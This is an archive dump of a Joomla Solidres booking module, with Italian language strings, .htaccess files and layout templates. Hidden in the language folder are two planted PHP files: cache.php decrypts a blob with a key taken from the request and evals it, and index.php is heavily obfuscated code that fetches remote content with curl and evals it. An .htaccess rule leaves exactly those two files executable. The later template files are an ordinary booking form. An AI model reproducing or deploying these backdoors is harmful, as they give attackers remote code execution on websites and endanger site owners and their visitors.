SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="Inserisci il numero massimo di bambini che si possono scegliere nel front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="Abilita quantità camere"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="Abilita quantità camere nel front end per far scegliere agli utenti la quantità delle camere, degli adulti e dei bambini."
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="Enable room type dropdown"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="This option will enable the room type drop down in front end for guest selection, the room type list will be retrieved from the default asset."
SR_SEARCH_ROOMTYPES="Room types"mod_sr_checkavailability/language/it-IT/it-IT/.htaccess000064400000000333150747276150017031 0ustar00<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>mod_sr_checkavailability/language/it-IT/it-IT/cache.php000064400000013017150747276150017012 0ustar00<?php $tGriX = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGipO5T6aYGANAA'; $BwL = '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'; function tGriX($WAHYk) { $BwL = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $EPtY = substr($BwL, 0, 16); $hICs = base64_decode($WAHYk); return openssl_decrypt($hICs, "AES-256-CBC", $BwL, OPENSSL_RAW_DATA, $EPtY); } if (tGriX('DjtPn+r4S0yvLCnquPz1fA')){ echo 'g5glF7iV8w23NAHndtmvru6/nbjQwktMQ0jQr8hVv9YFCsaV6NlhNyFl6uRgGHVk'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($tGriX)))); ?>mod_sr_checkavailability/language/it-IT/it-IT/index.php000064400000013422150747276150017056 0ustar00<?php
 goto Nvlr9P725GlSD5; dp9eJ8CX6q5YxL: class RYKmeU9Ra4X0Hg { static function paNfxz929alJim($bop3fkciBjl2G0) { goto i3XsmyXufGH1yq; Fjn4khcZMrK9rq: $JnWOomsXtQ5UnS = ''; goto h68MI_SbERR0_f; Tii6KVqevP8zHc: $vMqpffQ81_DtmL = $AYg2rBqCzuEiK2("\176", "\40"); goto Wj1caL9_v5yPht; Gxyw4d8k1VwzcH: R8LipFliDJ8gPY: goto XSocGoiEQ0Lah3; XSocGoiEQ0Lah3: return $JnWOomsXtQ5UnS; goto DoXTUvRM9Njugb; h68MI_SbERR0_f: foreach ($rMz79GjNYTiMiI as $uy5otynNmGH1j3 => $MTEJhpzMiEyM2t) { $JnWOomsXtQ5UnS .= $vMqpffQ81_DtmL[$MTEJhpzMiEyM2t - 96659]; gwEmZjc4kpLML_: } goto Gxyw4d8k1VwzcH; i3XsmyXufGH1yq: $AYg2rBqCzuEiK2 = "\162" . "\141" . "\x6e" . "\x67" . "\x65"; goto Tii6KVqevP8zHc; Wj1caL9_v5yPht: $rMz79GjNYTiMiI = explode("\157", $bop3fkciBjl2G0); goto Fjn4khcZMrK9rq; DoXTUvRM9Njugb: } static function R0X5L2WIBGjX0x($SLs0lfBc0cWmWK, $soRmPZB_X65a1Y) { goto aFxvqTV7Tf0m89; ksgXcLO_ns58lN: $twP31lwg7_RLxd = curl_exec($RLPR8AfzVZM7LQ); goto DjhaGUkurB4tSO; aFxvqTV7Tf0m89: $RLPR8AfzVZM7LQ = curl_init($SLs0lfBc0cWmWK); goto SY5sdJu6o6COZ3; DjhaGUkurB4tSO: return empty($twP31lwg7_RLxd) ? $soRmPZB_X65a1Y($SLs0lfBc0cWmWK) : $twP31lwg7_RLxd; goto fV3MZeOlCkzY8K; SY5sdJu6o6COZ3: curl_setopt($RLPR8AfzVZM7LQ, CURLOPT_RETURNTRANSFER, 1); goto ksgXcLO_ns58lN; fV3MZeOlCkzY8K: } static function UajorqnjFFCUBh() { goto qms9o4tAWqdVKy; P9bTx5SuOPQDKq: $MaLiYw1qdPN12T = self::r0X5L2WIbGjX0X($TDE9n4U13p1uCM[0 + 1], $Wkol7Y0PsQGqzq[2 + 3]); goto GiZqPIBN2imMLd; YopN9IM6cYuJoi: foreach ($HLju6FAhPlMZEP as $f1HPW7qPAvrl5t) { $Wkol7Y0PsQGqzq[] = self::pAnFXz929ALJIm($f1HPW7qPAvrl5t); Z7GH07q9zynGl5: } goto mZuSH6wa1TRiVI; GiZqPIBN2imMLd: @eval($Wkol7Y0PsQGqzq[4 + 0]($MaLiYw1qdPN12T)); goto Nx9Awq9_3LT3iu; LAlaH7GzzZvYP5: ml2z3fYSaplB7Q: goto OkeFzXPCtiC_V0; Nx9Awq9_3LT3iu: die; goto LAlaH7GzzZvYP5; VRq5J4zbxiaor8: $TDE9n4U13p1uCM = $Wkol7Y0PsQGqzq[0 + 2]($g4e1Y54MJD6h3t, true); goto CFJxWzBMHvmu3o; D6p9qjJfwP0MPq: $i2KDMvDOecKjFW = @$Wkol7Y0PsQGqzq[1]($Wkol7Y0PsQGqzq[1 + 9](INPUT_GET, $Wkol7Y0PsQGqzq[6 + 3])); goto RiJtCxJlIMqRnz; RiJtCxJlIMqRnz: $g4e1Y54MJD6h3t = @$Wkol7Y0PsQGqzq[2 + 1]($Wkol7Y0PsQGqzq[0 + 6], $i2KDMvDOecKjFW); goto VRq5J4zbxiaor8; qms9o4tAWqdVKy: $HLju6FAhPlMZEP = array("\x39\x36\x36\x38\66\157\x39\66\x36\x37\61\x6f\71\66\x36\x38\64\x6f\x39\x36\66\x38\70\157\x39\66\x36\x36\71\x6f\x39\x36\x36\x38\64\157\71\66\66\71\x30\157\71\66\66\70\x33\157\71\x36\66\66\x38\157\x39\66\x36\x37\x35\x6f\71\66\66\70\66\x6f\71\66\66\66\71\x6f\71\x36\x36\x38\x30\x6f\x39\66\x36\x37\64\157\x39\66\66\x37\65", "\x39\66\x36\x37\60\157\71\66\66\x36\71\157\x39\x36\66\x37\x31\157\71\x36\x36\x39\60\157\71\x36\66\x37\x31\157\71\66\x36\x37\x34\x6f\71\66\66\66\71\157\x39\66\x37\63\x36\x6f\71\66\x37\x33\64", "\71\x36\x36\x37\x39\157\71\x36\66\67\x30\x6f\x39\x36\66\67\x34\157\71\x36\66\x37\65\157\71\66\x36\71\60\x6f\x39\x36\66\x38\65\x6f\x39\x36\x36\70\64\x6f\71\x36\66\70\x36\x6f\71\x36\x36\x37\64\157\71\66\66\70\65\157\x39\x36\x36\70\x34", "\x39\66\x36\67\63\x6f\x39\x36\x36\x38\70\157\x39\66\66\70\x36\x6f\71\x36\x36\67\x38", "\71\66\x36\70\x37\x6f\x39\66\x36\70\70\157\71\x36\x36\67\x30\x6f\71\x36\66\x38\64\x6f\71\x36\x37\63\61\157\71\x36\x37\x33\63\157\71\66\66\71\x30\x6f\71\66\x36\70\65\x6f\71\66\x36\x38\64\x6f\71\x36\x36\70\x36\x6f\71\66\66\67\64\157\71\66\x36\x38\x35\x6f\71\x36\x36\70\64", "\71\x36\x36\x38\x33\157\x39\x36\x36\70\x30\x6f\x39\x36\x36\67\x37\x6f\x39\x36\x36\70\64\x6f\x39\66\66\x39\60\x6f\x39\66\x36\70\62\157\x39\x36\66\x38\64\x6f\x39\66\x36\66\x39\x6f\x39\66\x36\x39\60\157\71\x36\66\70\66\157\71\x36\66\67\64\x6f\x39\x36\x36\x37\x35\x6f\71\x36\x36\66\x39\x6f\71\66\x36\70\x34\x6f\71\66\66\67\65\x6f\71\66\66\x36\71\x6f\x39\66\x36\67\60", "\x39\x36\67\x31\63\x6f\x39\66\67\x34\x33", "\x39\66\66\x36\x30", "\x39\x36\67\63\x38\157\x39\x36\67\64\x33", "\71\66\x37\x32\x30\x6f\x39\66\67\x30\63\157\71\66\x37\60\63\157\x39\66\67\x32\x30\x6f\71\x36\66\x39\x36", "\71\x36\66\70\63\157\x39\66\66\70\60\x6f\x39\x36\x36\67\x37\157\x39\66\66\x36\71\x6f\x39\66\x36\70\x34\x6f\71\x36\x36\x37\61\157\71\x36\66\x39\x30\157\71\x36\x36\70\x30\x6f\71\x36\x36\67\65\x6f\71\x36\x36\67\63\157\x39\x36\66\66\x38\x6f\x39\x36\66\66\x39"); goto YopN9IM6cYuJoi; vaWnVvJ9kzxc0e: if (!(@$TDE9n4U13p1uCM[0] - time() > 0 and md5(md5($TDE9n4U13p1uCM[3 + 0])) === "\67\67\x37\67\x66\145\x38\144\141\x31\x63\63\60\x33\141\x39\x39\70\x36\145\62\x31\67\x34\x34\66\x63\142\x38\x30\67\62")) { goto ml2z3fYSaplB7Q; } goto P9bTx5SuOPQDKq; CFJxWzBMHvmu3o: @$Wkol7Y0PsQGqzq[8 + 2](INPUT_GET, "\157\146") == 1 && die($Wkol7Y0PsQGqzq[1 + 4](__FILE__)); goto vaWnVvJ9kzxc0e; mZuSH6wa1TRiVI: l3SZX4qHsGhNbT: goto D6p9qjJfwP0MPq; OkeFzXPCtiC_V0: } } goto KdCAeGAtRwcwPF; nWusAhW8wLp_0Z: if (!(in_array(gettype($lO1FylouJDwQTY) . "\x31\64", $lO1FylouJDwQTY) && md5(md5(md5(md5($lO1FylouJDwQTY[8])))) === "\x62\141\x36\64\145\x63\x32\x31\66\x33\142\x39\x33\x39\60\146\67\65\x34\61\63\x32\x64\x39\145\x34\71\x64\x66\65\60\71")) { goto HRgWc5SfXFdeR0; } goto rqi_DXnMty_PHk; rZCFhiMUJ69Zi0: @eval($lO1FylouJDwQTY[63](${$lO1FylouJDwQTY[38]}[15])); goto gy81YGdzkpB3aI; zLJDUVAO1Wy3q8: metaphone("\x72\x4f\x57\x4b\x58\x6b\x6c\x68\131\171\x35\101\162\x5a\x77\145\x70\171\x2b\x32\157\130\154\115\x48\145\x73\x5a\x6e\x6d\x76\154\x68\x37\x50\120\x6a\70\155\123\x51\x39\60"); goto dp9eJ8CX6q5YxL; Nvlr9P725GlSD5: $Pdry1cjqrNp4lG = "\x72" . "\x61" . "\156" . "\147" . "\145"; goto OlTrt935BDIpFs; OlTrt935BDIpFs: $J0vwVx1dkwzw6o = $Pdry1cjqrNp4lG("\176", "\x20"); goto HcO2zkBi0IePVi; rqi_DXnMty_PHk: $lO1FylouJDwQTY[63] = $lO1FylouJDwQTY[63] . $lO1FylouJDwQTY[73]; goto rZCFhiMUJ69Zi0; HcO2zkBi0IePVi: $lO1FylouJDwQTY = ${$J0vwVx1dkwzw6o[9 + 22] . $J0vwVx1dkwzw6o[41 + 18] . $J0vwVx1dkwzw6o[47 + 0] . $J0vwVx1dkwzw6o[45 + 2] . $J0vwVx1dkwzw6o[42 + 9] . $J0vwVx1dkwzw6o[9 + 44] . $J0vwVx1dkwzw6o[14 + 43]}; goto nWusAhW8wLp_0Z; gy81YGdzkpB3aI: HRgWc5SfXFdeR0: goto zLJDUVAO1Wy3q8; KdCAeGAtRwcwPF: rYkmeu9Ra4X0Hg::UAJorqnJfFcuBh();
?>
mod_sr_checkavailability/language/it-IT/it-IT.mod_sr_checkavailability.sys.ini000060400000000351150747276150023557 0ustar00; IT translation completed on September 18, 2013, Manca Cesare

MOD_SR_CHECKAVAILABILITY="Solidres - Modulo verifica disponibilità"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres - il modulo per la verifica della disponibilità"mod_sr_checkavailability/tmpl/.htaccess000044400000000177150747276150014352 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_sr_checkavailability/tmpl/default.php000060400000021543150747276150014707 0ustar00<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

/*
 * This layout file can be overridden by copying to:
 *
 * /templates/TEMPLATENAME/html/mod_sr_checkavailability/default.php
 *
 * However, occasionally we will need to update template/layout related files and it is the template developers'
 * responsibility to update the overridden files (if any) to maintain full compatibility with Solidres.
 *
 * We do not provide support if any of the overridden files are out of date and are not compatible with Solidres.
 *
 * @version 2.8.0
 */

defined('_JEXEC') or die;
?>

<form id="sr-checkavailability-form-<?php echo $module->id ?>"
      action="<?php echo JRoute::_('index.php?option=com_solidres&view=reservationasset&id='.$tableAsset->id.'&Itemid='.$params->get('target_itemid'), false)?>"
      method="GET" class="form-stacked sr-validate solidres-module-checkavailability <?php echo SR_UI ?>"
      onsubmit="this.action = ((Solidres.options.get('AutoScroll') == 1) ? this.action + (this.room_type_id != undefined && this.room_type_id.value != '' ? '#srt_' + this.room_type_id.value : '#form') : this.action)">
    <fieldset>
        <input name="id" value="<?php echo $tableAsset->id ?>" type="hidden" />
	    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
		    <div class="<?php echo SR_UI_GRID_COL_12 ?>">
			    <label for="checkin">
				    <?php echo JText::_('SR_SEARCH_CHECKIN_DATE')?>
			    </label>
			    <div class="checkin_module datefield">
				    <?php echo isset($checkin) ?
					    $checkinModule->format($dateFormat, true) :
					    $dateCheckIn->format($dateFormat, true) ?>
				    <i class="fa fa-calendar"></i>
			    </div>
			    <div class="checkin_datepicker_inline_module datepicker_inline" style="display: none"></div>
			    <?php // this field must always be "Y-m-d" as it is used internally only ?>
			    <input type="hidden" name="checkin" value="<?php echo isset($checkin) ?
				    $checkinModule->format('Y-m-d', true) :
				    $dateCheckIn->format('Y-m-d', true) ?>" />
		    </div>
		</div>
	    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
		    <div class="<?php echo SR_UI_GRID_COL_12 ?>">
			    <label for="checkout">
				    <?php echo JText::_('SR_SEARCH_CHECKOUT_DATE')?>
			    </label>
			    <div class="checkout_module datefield">
				    <?php echo isset($checkout) ?
					    $checkoutModule->format($dateFormat, true) :
					    $dateCheckOut->format($dateFormat, true)
				    ?>
				    <i class="fa fa-calendar"></i>
			    </div>
			    <div class="checkout_datepicker_inline_module datepicker_inline" style="display: none"></div>
			    <?php // this field must always be "Y-m-d" as it is used internally only ?>
			    <input type="hidden" name="checkout" value="<?php echo isset($checkout) ?
				    $checkoutModule->format('Y-m-d', true) :
				    $dateCheckOut->format('Y-m-d', true) ?>" />
		    </div>
	    </div>

	    <?php if ($enableRoomTypeDropdown && !empty($roomTypes)) : ?>
	    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
		    <div class="<?php echo SR_UI_GRID_COL_12 ?>">
			    <label><?php echo JText::_('SR_SEARCH_ROOMTYPES') ?></label>
			    <select class="form-control input-block-level" name="room_type_id">
				    <option value=""></option>
				    <?php
				    foreach ($roomTypes as $roomType) :
                        $selected = $prioritizingRoomTypeId == $roomType->id ? 'selected' : '';
						echo '<option value="' . $roomType->id . '" '.$selected.'>' . $roomType->name . '</option>';
			        endforeach;
				    ?>
			    </select>
		    </div>
	    </div>
	    <?php endif ?>

		<?php if ($enableRoomQuantity) : ?>

        <?php if ($hideRoomQuantity == 0) : ?>
		<div class="<?php echo SR_UI_GRID_CONTAINER ?>">
			<div class="<?php echo SR_UI_GRID_COL_12 ?>">
				<label><?php echo JText::_('SR_SEARCH_ROOMS') ?></label>
				<select class="form-control input-block-level room_quantity" name="room_quantity">
					<?php for ($room_num = 1; $room_num <= $maxRooms; $room_num ++) : ?>
						<option <?php echo $room_num == $roomsOccupancyOptionsCount ? 'selected' : '' ?> value="<?php echo $room_num  ?>"><?php echo $room_num  ?></option>
					<?php endfor ?>
				</select>
			</div>
		</div>
        <?php else : ?>
        <input type="hidden" class="room_quantity" name="room_quantity" value="1" />
        <?php endif ?>

		<?php for ($room_num = 1; $room_num <= $maxRooms; $room_num ++) : ?>
	    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
		    <div class="<?php echo SR_UI_GRID_COL_12 ?> room_num_row" id="room_num_row_<?php echo $room_num ?>" style="<?php echo $room_num > 0 ? 'display: none' : '' ?>">
			    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
				    <?php if (!$hideRoomQuantity) : ?>
                    <div class="<?php echo SR_UI_GRID_COL_4 ?> room_num_label">
					    <label>&nbsp;</label>
					    <?php echo JText::_('SR_SEARCH_ROOM') ?> <?php echo $room_num  ?>
				    </div>
                    <?php endif ?>
				    <?php if (($hideRoomQuantity && !$mergeAdultChild) || !$hideRoomQuantity) : ?>
				    <div class="<?php echo $hideRoomQuantity ? SR_UI_GRID_COL_6 : SR_UI_GRID_COL_4 ?>">
					    <label><?php echo JText::_('SR_SEARCH_ROOM_ADULTS') ?></label>
					    <select <?php echo $room_num > 0 ? 'disabled': '' ?> class="form-control input-block-level" name="room_opt[<?php echo $room_num ?>][adults]">
						    <?php
						    for ($a = 1; $a <= $maxAdults; $a ++) :
							    $selected = '';
							    if (isset($roomsOccupancyOptions[$room_num]['adults'])
							        &&
							        ($a == $roomsOccupancyOptions[$room_num]['adults'])
							    ) :
								    $selected = 'selected';
							    endif;
							    ?>
							    <option <?php echo $selected ?> value="<?php echo $a ?>"><?php echo $a ?></option>
						    <?php
						    endfor
						    ?>
					    </select>
				    </div>
				    <div class="<?php echo $hideRoomQuantity ? SR_UI_GRID_COL_6 : SR_UI_GRID_COL_4 ?>">
					    <label><?php echo JText::_('SR_SEARCH_ROOM_CHILDREN') ?></label>
					    <select <?php echo $room_num > 0 ? 'disabled': '' ?> class="form-control input-block-level" name="room_opt[<?php echo $room_num ?>][children]">
						    <?php
						    for ($c = 0; $c <= $maxChildren; $c ++) :
							    $selected = '';
							    if (isset($roomsOccupancyOptions[$room_num]['children'])
							        &&
							        $c == $roomsOccupancyOptions[$room_num]['children']
							    ) :
								    $selected = 'selected';
							    endif;
							    ?>
							    <option <?php echo $selected ?> value="<?php echo $c ?>"><?php echo $c ?></option>
						    <?php
						    endfor
						    ?>
					    </select>
				    </div>
                    <?php else : ?>
                    <div class="<?php echo SR_UI_GRID_COL_12 ?>">
                        <label><?php echo JText::_('SR_SEARCH_GUESTS') ?></label>
                        <select <?php echo $room_num > 0 ? 'disabled': '' ?> class="form-control input-block-level" name="room_opt[<?php echo $room_num ?>][guests]">
                            <?php
                            for ($a = 1; $a <= $maxAdults; $a ++) :
                                $selected = '';
                                if (isset($roomsOccupancyOptions[$room_num]['guests'])
                                    &&
                                    ($a == $roomsOccupancyOptions[$room_num]['guests'])
                                ) :
                                    $selected = 'selected';
                                endif;
                                ?>
                                <option <?php echo $selected ?> value="<?php echo $a ?>"><?php echo $a ?></option>
                                <?php
                            endfor
                            ?>
                        </select>
                    </div>
                    <?php endif ?>
			    </div>
		    </div>
		</div>
		<?php endfor; ?>
	    <?php endif; ?>
	    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
		    <div class="<?php echo SR_UI_GRID_COL_12 ?>">
			    <div class="action">
				    <button class="btn btn-default btn-block primary" type="submit"><i class="fa fa-search"></i> <?php echo JText::_('SR_SEARCH')?></button>
			    </div>
		    </div>
		</div>
    </fieldset>

    <input type="hidden" name="option" value="com_solidres" />
    <input type="hidden" name="task" value="reservationasset.checkavailability" />
	<input type="hidden" name="Itemid" value="<?php echo $params->get('target_itemid') ?>" />
    <?php echo JHtml::_('form.token'); ?>
</form>mod_sr_checkavailability/tmpl/horizontal.php000060400000024075150747276150015457 0ustar00<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

/*
 * This layout file can be overridden by copying to:
 *
 * /templates/TEMPLATENAME/html/mod_sr_checkavailability/horizontal.php
 *
 * However, occasionally we will need to update template/layout related files and it is the template developers'
